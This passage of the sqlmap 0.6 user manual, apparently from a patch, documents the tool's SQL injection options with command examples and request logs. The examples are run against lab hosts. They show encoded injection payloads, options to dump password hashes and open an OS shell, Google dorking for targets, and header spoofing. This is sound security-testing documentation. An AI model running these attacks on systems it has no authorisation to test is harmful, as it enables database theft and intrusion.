  • Inband SQL injection, also known as UNION query SQL +injection: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string starting with a +UNION ALL SELECT. This techique is useful if the web application +page passes the output of the SELECT statement to a for +cycle, or similar, so that each line of the query output is printed on the +page content. +This technique is much faster if the target url is affected by because +in a single HTTP response it returns the whole query output within the +page content. +This SQL injection technique is an alternative to the first one.
  • +
+

+

It is strongly recommended to run at least once sqlmap with the +--union-test option to test if the affected parameter is used +within a for cycle, or similar, and in case use +--union-use option to exploit this vulnerability because it +saves a lot of time and it does not weight down the web server log file +with hundreds of HTTP requests.

+ + +

2. Features

+ +

Major features implemented in sqlmap include:

+

+

    +
  • Full support for MySQL, Oracle, PostgreSQL +and Microsoft SQL Server back-end database management systems. +Besides these four database management systems, sqlmap can also identify +Microsoft Access, DB2, Informix, Sybase and Interbase.
  • +
  • Extensive back-end database management system fingerprint +based upon +inband error messages, +banner parsing, +functions output comparison and +specific features +such as MySQL comment injection. It is also possible to force the back-end +database management system name if you already know it.
  • +
  • Full support for two SQL injection techniques: blind SQL +injection and inband SQL injection.
  • +
  • Options to retrieve on all four back-end database management system +banner, current user, current database, +enumerate users, users password hashes, users +privileges, databases, tables, columns, +dump tables entries, dump whole database management +system and run your own SQL SELECT statement.
  • +
  • If the back-end database management system is MySQL it is also +possible to read a specific file content and in some +circumstances prompt for an interactive operating system shell +with TAB completion and history support.
  • +
  • Automatically tests all provided GET parameters, +POST parameters, HTTP Cookie header values and HTTP +User-Agent header value to find the dynamic ones, which means +those that vary the HTTP response page content. +On the dynamic ones sqlmap automatically tests and detects the ones +affected by SQL injection. Each dynamic parameter is tested for +numeric, single quoted string, double quoted +string and all of these three datatypes with zero, one and two +parenthesis to correctly detect which is the SELECT statement syntax to +perform further injections with. It is also possible to specify the +parameter(s) that you want to perform tests and use for injection on.
  • +
  • Option to specify the maximum number of concurrent HTTP +requests to speed up the blind SQL injection algorithms +(multithreading).
  • +
  • HTTP Cookie header string support, useful when the +web application requires authentication based upon cookies and you have +such data or in case you just want to test for and exploit SQL injection +on such header.
  • +
  • Automatically handle HTTP Set-Cookie header from +target url, re-establishing of the session if it expires. Test and exploit +on these values is supported too.
  • +
  • HTTP Basic and Digest authentications support.
  • +
  • Anonymous HTTP proxy support to pass by the HTTP requests +to the target URL.
  • +
  • Options to fake the HTTP Referer header value and +the HTTP User-Agent header value specified by user or +randomly selected from a text file.
  • +
  • Support to increase the verbosity level of output messages: +there exist six levels. The default level is 0 (silent) in which +only warnings, errors and tracebacks, if they occur, will be shown.
  • +
  • Estimated time of arrival support for each query, updated +in real time while fetching the information to give to the user an +overview on how long it will take to retrieve the output.
  • +
  • Support to save the session (queries and their output, even if +partially retrieved) in real time while fetching the data on a text file +and resume the injection from this file in a second time.
  • +
  • Support to read options from a configuration INI file rather than +specify each time all of the options on the command line. Support also to +save command line options on a configuration INI file.
  • +
  • PHP setting magic_quotes_gpc bypass by encoding +every query string, between single quotes, with CHAR, or similar, +database management system function.
  • +
+

+ + +

3. Download and update

+ +

sqlmap can be downloaded from its +SourceForge File List page. +It is available in various formats:

+

+

+

+ +

Whatever way you downloaded sqlmap, run it with --update +option to update it to the latest stable version available on its +SourceForge File List page.

+ + +

4. License and copyright

+ +

sqlmap is released under the terms of the +General Public License v2. +sqlmap is copyrighted by +Bernardo Damele A. G. +and +Daniele Bellucci.

+ + +

5. Usage

+ +

+

+
+$ python sqlmap.py -h
+
+    sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
+                        and Daniele Bellucci <daniele.bellucci@gmail.com>
+    
+Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
+
+Options:
+  --version             show program's version number and exit
+  -h, --help            show this help message and exit
+
+  Request:
+    These options have to be specified to set the target url, HTTP method,
+    how to connect to the target url or Google dorking results in general.
+
+    -u URL, --url=URL   Target url
+    -g GOOGLEDORK       Process Google dork results as target urls
+    -p TESTPARAMETER    Testable parameter(s)
+    --method=METHOD     HTTP method, GET or POST (default: GET)
+    --data=DATA         Data string to be sent through POST
+    --cookie=COOKIE     HTTP Cookie header
+    --referer=REFERER   HTTP Referer header
+    --user-agent=AGENT  HTTP User-Agent header
+    -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
+    --auth-type=ATYPE   HTTP Authentication type, value: Basic or Digest
+    --auth-cred=ACRED   HTTP Authentication credentials, value: name:password
+    --proxy=PROXY       Use a HTTP proxy to connect to the target url
+    --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
+
+  Injection:
+    --string=STRING     String to match in page when the query is valid
+    --dbms=DBMS         Force back-end DBMS to this value
+
+  Fingerprint:
+    -f, --fingerprint   Perform an extensive database fingerprint
+
+  Enumeration:
+    These options can be used to enumerate the back-end database
+    management system information, structure and data contained in the
+    tables. Moreover you can run your own SQL SELECT queries.
+
+    -b, --banner        Retrieve DBMS banner
+    --current-user      Retrieve DBMS current user
+    --current-db        Retrieve DBMS current database
+    --users             Enumerate DBMS users
+    --passwords         Enumerate DBMS users password hashes (opt: -U)
+    --privileges        Enumerate DBMS users privileges (opt: -U)
+    --dbs               Enumerate DBMS databases
+    --tables            Enumerate DBMS database tables (opt: -D)
+    --columns           Enumerate DBMS database table columns (req: -T, -D)
+    --dump              Dump DBMS database table entries (req: -T, -D opt: -C)
+    --dump-all          Dump all DBMS databases tables entries
+    -D DB               DBMS database to enumerate
+    -T TBL              DBMS database table to enumerate
+    -C COL              DBMS database table column to enumerate
+    -U USER             DBMS user to enumerate
+    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
+    --sql-query=QUERY   SQL SELECT query to be executed
+    --sql-shell         Prompt for an interactive SQL shell
+
+  File system access:
+    These options can be used to access the back-end database management
+    system file system taking advantage of native DBMS functions or
+    specific DBMS design weaknesses.
+
+    --read-file=RFILE   Read a specific OS file content (only on MySQL)
+    --write-file=WFILE  Write to a specific OS file (not yet available)
+
+  Operating system access:
+    This option can be used to access the back-end database management
+    system operating system taking advantage of specific DBMS design
+    weaknesses.
+
+    --os-shell          Prompt for an interactive OS shell (only on PHP/MySQL
+                        environment with a writable directory within the web
+                        server document root for the moment)
+
+  Miscellaneous:
+    --union-test        Test for UNION SELECT (inband) SQL injection
+    --union-use         Use the UNION SELECT (inband) SQL injection to
+                        retrieve the queries output. No need to go blind
+    --eta               Retrieve each query output length and calculate the
+                        estimated time of arrival in real time
+    -v VERBOSE          Verbosity level: 0-5 (default 0)
+    --update            Update sqlmap to the latest stable version
+    -s SESSIONFILE      Save and resume all data retrieved on a session file
+    -c CONFIGFILE       Load options from a configuration INI file
+    --save              Save options on a configuration INI file
+
+
+

+ + +

5.1 Request +

+ +

Target URL

+ +

Option: -u or --url

+ +

To run sqlmap on a single target URL.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2"
+
+[...]
+back-end DBMS:    MySQL >= 5.0.0
+
+
+

+ + +

Target URL and verbosity

+ +

Option: -v

+ +

Verbose options can be used to set the verbosity level of output messages. +There exist six levels. +The default level is 0 (silent) in which only warnings, errors and +tracebacks, if they occur, will be shown. Level 1 shows also info +messages, level 2 show also debug messages, level 3 show also HTTP +requests with all HTTP headers sent, level 4 show also HTTP responses +headers and level 5 show also HTTP responses page content.

+ +

Example on a MySQL 5.0.51 target (verbosity level 1):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1
+
+[hh:mm:01] [INFO] testing connection to the target url
+[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:02] [INFO] url is stable
+[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:02] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
+[hh:mm:02] [INFO] retrieved: 55
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(53))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 5
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:    MySQL >= 5.0.0
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 2):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2
+
+[hh:mm:34] [DEBUG] initializing the configuration
+[hh:mm:34] [DEBUG] initializing the knowledge base
+[hh:mm:34] [DEBUG] cleaning up configuration parameters
+[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:34] [DEBUG] creating HTTP requests opener object
+[hh:mm:34] [DEBUG] parsing XML queries file
+[hh:mm:34] [INFO] testing connection to the target url
+[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:35] [INFO] url is stable
+[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic
+[...]
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 3):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+[hh:mm:29] [INFO] testing MySQL
+[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:29] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 4):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4
+
+[...]
+[hh:mm:32] [INFO] testing connection to the target url
+[hh:mm:32] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:32 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+[...]
+[hh:mm:33] [INFO] testing MySQL
+[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:33] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:33 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+[...]
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 5):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5
+
+[...]
+[hh:mm:23] [INFO] testing connection to the target url
+[hh:mm:23] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:23 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html>
+[...]
+[hh:mm:24] [INFO] testing MySQL
+[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51))
+[hh:mm:24] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
+CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:24 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+</table>
+</body></html>
+[...]
+
+
+

+ + +

Process Google dork results as target urls

+ +

Option: -g

+ +

Rather than providing a target URL it is also possible to test and inject +on GET parameters on the results of your Google dork.

+

This option makes sqlmap negotiate with the search engine its session +cookie to be able to perform a search, then sqlmap will retrieve Google +first 100 results for the Google dork expression with GET parameters +asking you if you want to test and inject on each possible affected URL.

+ +

Example of Google dorking with expression site:yourdomain.com +inurl:example.php:

+

+

+
+$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1
+
+[hh:mm:38] [INFO] first request to Google to get the session cookie
+[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are 
+testable hosts
+[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this 
+url? [y/N/q] n
+[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this 
+url? [y/N/q] n
+[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you 
+want to test this url? [y/N/q] y
+[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
+[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
+[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
+[hh:mm:53] [INFO] GET parameter 'today' is dynamic
+[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
+[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
+[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
+[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
+[...]
+
+
+

+ + +

Testable parameter(s)

+ +

Option: -p

+ +

By default sqlmap tests all GET parameters, POST +parameters, HTTP Cookie header values and HTTP User-Agent +header value for dynamicity and SQL injection vulnerability, but it is +possible to manually specificy the parameter(s) you want sqlmap to perform +tests on comma separeted in order to skip dynamicity tests and perform SQL +injection test and inject directly only against the provided parameter(s).

+

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+  -p id
+
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+

+ +

Or, if you want to provide more than one parameter, for instance:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+  -p "cat,id"
+
+
+

+ +

You can also test only the HTTP User-Agent header.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+  -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
+
+[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
+[hh:mm:40] [INFO] testing connection to the target url
+[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:41] [INFO] url is stable
+[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
+[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
+[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:41] [INFO] testing MySQL
+[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:41] [INFO] retrieved: 44
+[hh:mm:41] [INFO] performed 20 queries in 0 seconds
+[hh:mm:41] [INFO] confirming MySQL
+[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:  MySQL >= 5.0.0
+
+
+

+ + +

HTTP method: GET or POST

+ +

Options: --method and --data

+ +

By default the HTTP method used to perform HTTP requests is GET, +but you can change it to POST and provide the data to be sent +through POST request. Such data, being those parameters, are +tested for SQL injection like the GET parameters.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \
+  --data "id=1&cat=2"
+
+[hh:mm:53] [INFO] testing connection to the target url
+[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:54] [INFO] url is stable
+[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
+[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
+[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic
+[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic
+[...]
+[hh:mm:54] [INFO] testing Oracle
+[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:54] [INFO] retrieved: 9
+[hh:mm:54] [INFO] performed 13 queries in 0 seconds
+[hh:mm:54] [INFO] confirming Oracle
+[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:55] [INFO] performed 76 queries in 0 seconds
+back-end DBMS:    Oracle
+
+
+

+ + +

HTTP Cookie header

+ +

Option: --cookie

+ +

This feature can be useful in two scenarios:

+

+

    +
  • The web application requires authentication based upon cookies and +you have such data.
  • +
  • You want to test for and exploit SQL injection on such header +values.
  • +
+

+ +

The steps to go through in the second scenario are the following:

+

+

    +
  • On Firefox web browser login on the web authentication form while +dumping URL requests with +TamperData browser's extension.
  • +
  • In the horizontal box of the extension select your authentication +transaction then in the left box on the bottom click with the right button +on the Cookie value, then click on Copy to save its +value to the clipboard.
  • +
  • Go back to your shell and run sqlmap.
  • +
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
+  "id=1;cat=2" -v 1
+
+[hh:mm:37] [INFO] testing connection to the target url
+[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:38] [INFO] url is stable
+[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
+[...]
+
+
+

+ +

Note that the HTTP Cookie header values are separated by a +; character, not by an &.

+ +

If the web application at first HTTP response has within the HTTP headers +a Set-Cookie header, sqlmap will automatically use it in all HTTP +requests as the HTTP Cookie header and also test for SQL +injection on these values.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
+
+[...]
+[hh:mm:39] [INFO] testing connection to the target url
+[hh:mm:39] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
+Connection: close
+
+[...]
+[hh:mm:40] [INFO] url is stable
+[...]
+[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
+[hh:mm:40] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+Cookie: ASPSESSIONIDSABTRCAS=469
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
+[...]
+
+
+

+ +

If you provide an HTTP Cookie header value and the target URL +sends an HTTP Set-Cookie header, sqlmap asks you which one to use +in the following HTTP requests.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
+
+[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
+own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
+values that you provided? [Y/n] 
+
+
+

+ + +

HTTP Referer header

+ +

Option: --referer

+ +

It is possible to fake the HTTP Referer header value with this +option. By default no HTTP Referer heder is sent in HTTP +requests.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
+  "http://www.google.com" -v 3
+
+[...]
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Referer: http://www.google.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+

+ + +

HTTP User-Agent header

+ +

Options: --user-agent and -a

+ +

By default sqlmap perform HTTP requests providing the following HTTP +User-Agent header value:

+

+

+
+sqlmap/0.6 (http://sqlmap.sourceforge.net)
+
+
+

+ +

It is possible to fake it with the --user-agent option.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+  --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
+
+[...]
+[hh:mm:02] [INFO] testing connection to the target url
+[hh:mm:02] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
+Connection: close
+[...]
+
+
+

+ +

Providing a text file, ./txt/user-agents.txt or any other +file containing a list of at least one user agent, to the -a +option, sqlmap will randomly select a User-Agent from the file +and use it for all HTTP requests.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+  -a "./txt/user-agents.txt"
+
+[hh:mm:00] [DEBUG] initializing the configuration
+[hh:mm:00] [DEBUG] initializing the knowledge base
+[hh:mm:00] [DEBUG] cleaning up configuration parameters
+[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
+[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt': 
+Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
+[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:00] [DEBUG] creating HTTP requests opener object
+[hh:mm:00] [DEBUG] parsing XML queries file
+[hh:mm:00] [INFO] testing connection to the target url
+[hh:mm:00] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
+Connection: close
+[...]
+
+
+

+ +

Note that the HTTP User-Agent header is tested against SQL +injection even if you do not overwrite the default sqlmap HTTP +User-Agent header value.

+ + +

HTTP Basic and Digest authentications

+ +

Options: --auth-type and --auth-cred

+ +

These options can be used to specify which HTTP authentication type the +web server implements and the valid credentials to be used to perfom all +HTTP requests to the target URL. +The two valid types are Basic and Digest and the +credentials' syntax is username:password.

+ +

Examples on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \
+  --auth-type Basic --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \
+  --auth-type Digest --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
